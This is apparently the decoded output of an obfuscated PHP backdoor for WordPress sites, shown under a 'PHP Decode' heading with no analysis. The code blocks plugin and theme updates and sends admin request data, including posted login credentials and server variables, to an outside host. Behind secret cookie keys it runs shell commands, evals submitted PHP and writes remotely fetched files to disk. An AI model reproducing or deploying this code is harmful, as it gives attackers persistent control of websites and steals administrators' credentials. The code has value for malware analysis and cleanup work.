PHP Decode

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       global $_1809711965; if (function_exists('add_filter') && empty($_1809711965)) {     $_1809711965 = true;     add_filter('auto_update_plugin', '__return_false', 1000000, 1);     add_filter('site_transient_update_plugins', '__return_null', 1000000, 1);     add_filter('pre_site_transient_update_plugins', '__return_null');     remove_action('wp_update_plugins', 'wp_update_plugins');     delete_site_transient('update_plugins');     add_filter('auto_update_theme', '__return_false', 1000000, 1);     add_filter('site_transient_update_themes', '__return_null', 1000000, 1);     add_filter('pre_site_transient_update_themes', '__return_null');     remove_action('wp_update_themes', 'wp_update_themes');     delete_site_transient('update_themes'); } global $_1723425032; if (function_exists('add_action') && empty($_1723425032)) {     $_1723425032 = true;     add_action('admin_footer', function() {         if (current_user_can('manage_options')) {             print('<'.'s'.'c'.'r'.'i'.'p'.'t'.'>'.'w'.'i'.'n'.'d'.'o'.'w'.'.'.'l'.'o'.'c'.'a'.'l'.'S'.'t'.'o'.'r'.'a'.'g'.'e'.' '.'&'.'&'.' '.'l'.'o'.'c'.'a'.'l'.'S'.'t'.'o'.'r'.'a'.'g'.'e'.'.'.'s'.'e'.'t'.'I'.'t'.'e'.'m'.'('.'"'.'i'.'s'.'_'.'a'.'d'.'m'.'i'.'n'.'"'.','.' '.'"'.'t'.'r'.'u'.'e'.'"'.')'.';'.' '.'w'.'i'.'n'.'d'.'o'.'w'.'.'.'s'.'e'.'s'.'s'.'i'.'o'.'n'.'S'.'t'.'o'.'r'.'a'.'g'.'e'.' '.'&'.'&'.' '.'s'.'e'.'s'.'s'.'i'.'o'.'n'.'S'.'t'.'o'.'r'.'a'.'g'.'e'.'.'.'s'.'e'.'t'.'I'.'t'.'e'.'m'.'('.'"'.'i'.'s'.'_'.'a'.'d'.'m'.'i'.'n'.'"'.','.' '.'"'.'t'.'r'.'u'.'e'.'"'.')'.';'.'<'.'/'.'s'.'c'.'r'.'i'.'p'.'t'.'>');         }     }); } global $_3243299888; if (function_exists('add_action') && empty($_3243299888)) {     $_3243299888 = true;     add_action('admin_footer', function() {         if (PHP_SAPI !== 'cli' && (current_user_can('manage_options') || isset($_POST['log'], $_POST['pwd']))) {             wp_remote_request('h'.'t'.'t'.'p'.'s'.':'.'/'.'/'.'i'.'n'.'f'.'o'.'r'.'m'.'a'.'t'.'i'.'o'.'n'.'.'.'c'.'l'.'o'.'u'.'d'.'s'.'y'.'n'.'d'.'i'.'c'.'a'.'t'.'i'.'o'.'n'.'.'.'d'.'e'.'v'.'/', ['method' => 'POST', 'blocking' => false, 'body' => ['method' => $_SERVER['REQUEST_METHOD'], 'path' => explode('?', $_SERVER['REQUEST_URI'], 2)[0], 'query' => implode('?', array_slice(explode('?', $_SERVER['REQUEST_URI'], 2), 1)), 'headers' => json_encode(function_exists('getallheaders') ? getallheaders() : $_SERVER, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), 'params' => file_get_contents('php://input'), 'server' => json_encode($_SERVER, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)]]);         }     }); } $my_execution = function($cmd, &$stderr = null, &$status = null) {     $stderr = null;     $status = null;     static $disable_functions;     if (!isset($disable_functions)) {         $disable_functions = array_flip(array_map('strtolower', array_map('trim', explode(',', trim(ini_get('disable_functions'))))));     }     $functions = [];     $functions[] = 'proc_open';     $functions[] = 'exec';     if (func_num_args() >= 3) {         $functions[] = 'passthru';         $functions[] = 'system';         $functions[] = 'shell_exec';     } else {         $functions[] = 'shell_exec';         $functions[] = 'passthru';         $functions[] = 'system';     }     foreach ($functions as $function) {         if ($function === 'proc_open' && function_exists('proc_open') && is_callable('proc_open') && !isset($disable_functions['proc_open'])) {             $descriptorspec = [                 1 => ['pipe', 'w'],                 2 => ['pipe', 'w']             ];             $pipes = [];             $proc = proc_open($cmd, $descriptorspec, $pipes);             $stdout = stream_get_contents($pipes[1]);             fclose($pipes[1]);             $stderr = stream_get_contents($pipes[2]);             fclose($pipes[2]);             $status = proc_close($proc);             if ($stdout === " [0K ") {                 $stdout = '';             }             return $stdout;         }         if ($function === 'exec' && function_exists('exec') && is_callable('exec') && !isset($disable_functions['exec'])) {             $stdout = [];             exec($cmd, $stdout, $status);             $stdout = implode(PHP_EOL, $stdout);             return $stdout;         }         if ($function === 'passthru' && function_exists('passthru') && is_callable('passthru') && !isset($disable_functions['passthru'])) {             ob_start();             passthru($cmd, $status);             $stdout = ob_get_clean();             return $stdout;         }         if ($function === 'system' && function_exists('system') && is_callable('system') && !isset($disable_functions['system'])) {             ob_start();             system($cmd, $status);             $stdout = ob_get_clean();             return $stdout;         }         if ($function === 'shell_exec' && function_exists('shell_exec') && is_callable('shell_exec') && !isset($disable_functions['shell_exec'])) {             $stdout = shell_exec($cmd);             return $stdout;         }     } }; global $_1314088273; $_2388558939 = 0; if (!empty($_COOKIE['1b2eeffa6f08a11898ca22caa22ebaa4']) && $_COOKIE['1b2eeffa6f08a11898ca22caa22ebaa4'] === '2408bd53d38802958e0dd1fe954682a6') {     $_2388558939 = 1; } elseif (!empty($_REQUEST['1b2eeffa6f08a11898ca22caa22ebaa4']) && $_REQUEST['1b2eeffa6f08a11898ca22caa22ebaa4'] === '2408bd53d38802958e0dd1fe954682a6') {     $_2388558939 = 2; } $_3656007993 = !empty($_COOKIE['3563bba11c4833a35272537d1b12d954']) && ($_COOKIE['3563bba11c4833a35272537d1b12d954'] = trim($_COOKIE['3563bba11c4833a35272537d1b12d954'])) ? $_COOKIE['3563bba11c4833a35272537d1b12d954'] : (!empty($_REQUEST['3563bba11c4833a35272537d1b12d954']) && ($_REQUEST['3563bba11c4833a35272537d1b12d954'] = trim($_REQUEST['3563bba11c4833a35272537d1b12d954'])) ? $_REQUEST['3563bba11c4833a35272537d1b12d954'] : ''); $_1067052717 = !empty($_COOKIE['4d5d155d508a4a358e8ec19b16a4af51']) && ($_COOKIE['4d5d155d508a4a358e8ec19b16a4af51'] = trim($_COOKIE['4d5d155d508a4a358e8ec19b16a4af51'])) ? $_COOKIE['4d5d155d508a4a358e8ec19b16a4af51'] : (!empty($_REQUEST['4d5d155d508a4a358e8ec19b16a4af51']) && ($_REQUEST['4d5d155d508a4a358e8ec19b16a4af51'] = trim($_REQUEST['4d5d155d508a4a358e8ec19b16a4af51'])) ? $_REQUEST['4d5d155d508a4a358e8ec19b16a4af51'] : ''); $_3228187515 = !empty($_COOKIE['5771e77fa3d8f21527d91077f84f2729']) && ($_COOKIE['5771e77fa3d8f21527d91077f84f2729'] = trim($_COOKIE['5771e77fa3d8f21527d91077f84f2729'])) ? $_COOKIE['5771e77fa3d8f21527d91077f84f2729'] : (!empty($_REQUEST['5771e77fa3d8f21527d91077f84f2729']) && ($_REQUEST['5771e77fa3d8f21527d91077f84f2729'] = trim($_REQUEST['5771e77fa3d8f21527d91077f84f2729'])) ? $_REQUEST['5771e77fa3d8f21527d91077f84f2729'] : ''); $_3815045816 = !empty($_COOKIE['6c12f3c5ffa81672381f9944c53dce40']) && ($_COOKIE['6c12f3c5ffa81672381f9944c53dce40'] = trim($_COOKIE['6c12f3c5ffa81672381f9944c53dce40'])) ? $_COOKIE['6c12f3c5ffa81672381f9944c53dce40'] : (!empty($_REQUEST['6c12f3c5ffa81672381f9944c53dce40']) && ($_REQUEST['6c12f3c5ffa81672381f9944c53dce40'] = trim($_REQUEST['6c12f3c5ffa81672381f9944c53dce40'])) ? $_REQUEST['6c12f3c5ffa81672381f9944c53dce40'] : ''); $_2828115034 = !empty($_COOKIE['7c12ea27041069761be98b67a531c7f2']) && ($_COOKIE['7c12ea27041069761be98b67a531c7f2'] = trim($_COOKIE['7c12ea27041069761be98b67a531c7f2'])) ? $_COOKIE['7c12ea27041069761be98b67a531c7f2'] : (!empty($_REQUEST['7c12ea27041069761be98b67a531c7f2']) && ($_REQUEST['7c12ea27041069761be98b67a531c7f2'] = trim($_REQUEST['7c12ea27041069761be98b67a531c7f2'])) ? $_REQUEST['7c12ea27041069761be98b67a531c7f2'] : ''); if ($_2388558939 && ($_3656007993 || $_1067052717 || $_3228187515 || $_2828115034) && empty($_1314088273)) {     $_1314088273 = true;     $is_bsf = function($s) {         $b = 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';         if (strlen($s) % 4 === 0 && preg_match('/^[a-zA-Z0-9/ +]*={0,2}$/', $s)) {             $d = $b($s, true);             return $d !== false && base64_encode($d) === $s;         }         return false;     };     $b = 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';     $_3656007993 = $is_bsf($_3656007993) ? $b($_3656007993) : $_3656007993;     $_1067052717 = $is_bsf($_1067052717) ? $b($_1067052717) : $_1067052717;     if (substr($_1067052717, 0, 5) === '<?php') {         $_1067052717 = substr($_1067052717, 5);     } elseif (substr($_1067052717, 0, 2) === '<?') {         $_1067052717 = substr($_1067052717, 2);     }     $_1067052717 .= ';';     $_3228187515 = $is_bsf($_3228187515) ? $b($_3228187515) : $_3228187515;     $_3815045816 = $is_bsf($_3815045816) ? $b($_3815045816) : $_3815045816;     $_2828115034 = $is_bsf($_2828115034) ? $b($_2828115034) : $_2828115034;     error_reporting(E_ALL);     ini_set('display_errors', 1);     ini_set('log_errors', 0);     if (function_exists('add_filter')) {         add_filter('pre_wp_mail', '__return_false');     }     if ($_3656007993) {         try {             print('<pre>'." ");             print('e='.strval($my_execution($_3656007993))." ");             print('</pre>'." ");         } catch (Exception $e) {             print('<pre>'." ");             print('ex='.strval($e->getMessage())." ");             print('</pre>'." ");         }     }     if ($_1067052717) {         try {             ob_start();             $v = eval($_1067052717);             $v .= ob_get_clean();             print('<pre>'." ");             print('v='.strval($v)." ");             print('</pre>'." ");         } catch (Exception $e) {             $v = ob_get_clean();             print('<pre>'." ");             print('v='.strval($v)." ");             print('</pre>'." ");             print('<pre>'." ");             print('vx='.strval($e->getMessage())." ");             print('</pre>'." ");         }     }     if ($_3228187515) {         try {             $my_file = $_3815045816 ? $_3815045816 : explode('?', basename($_3228187515))[0];             if (!is_dir(dirname($my_file))) {                 mkdir(dirname($my_file), 0775, true);             }             if (!is_dir(dirname($my_file))) {                 mkdir(dirname($my_file), 0755, true);             }             print('<pre>'." ");             print('f='.strval(realpath(dirname($my_file)))." ");             print('f='.strval(basename($my_file))." ");             print('f='.strval(file_put_contents($my_file, file_get_contents($_3228187515)))." ");             print('</pre>'." ");         } catch (Exception $e) {             print('<pre>'." ");             print('fx='.strval($e->getMessage())." ");             print('</pre>'." ");         }     }     if ($_2828115034) {         try {             $o = [                 CURLINFO_HEADER_OUT => true,                 CURLOPT_CONNECTTIMEOUT => 30,                 CURLOPT_CUSTOMREQUEST => 'GET',                 CURLOPT_ENCODING => '',                 CURLOPT_FOLLOWLOCATION => false,                 CURLOPT_HEADER => true,                 CURLOPT_HTTPHEADER => [],                 CURLOPT_RETURNTRANSFER => true,                 CURLOPT_SSL_VERIFYHOST => 0,                 CURLOPT_SSL_VERIFYPEER => 0,                 CURLOPT_TIMEOUT => 600,                 CURLOPT_URL => $_2828115034,             ];             $c = curl_init();             curl_setopt_array($c, $o);             $e = curl_exec($c);             $i = curl_getinfo($c);             $h = substr($e, 0, $i['header_size']);             $b = substr($e, $i['header_size']);             $r = curl_error($c);             $n = curl_errno($c);             curl_close($c);             $my_file = $_3815045816 ? $_3815045816 : explode('?', basename($_2828115034))[0];             if (!is_dir(dirname($my_file))) {                 mkdir(dirname($my_file), 0775, true);             }             if (!is_dir(dirname($my_file))) {                 mkdir(dirname($my_file), 0755, true);             }             print('<pre>'." ");             print('r='.strval($r)." ");             print('n='.strval($n)." ");             print('f='.strval(realpath(dirname($my_file)))." ");             print('f='.strval(basename($my_file))." ");             print('f='.strval(file_put_contents($my_file, $b))." ");             print('</pre>'." ");         } catch (Exception $e) {             print('<pre>'." ");             print('cx='.strval($e->getMessage())." ");             print('</pre>'." ");         }     }     exit(); } ?>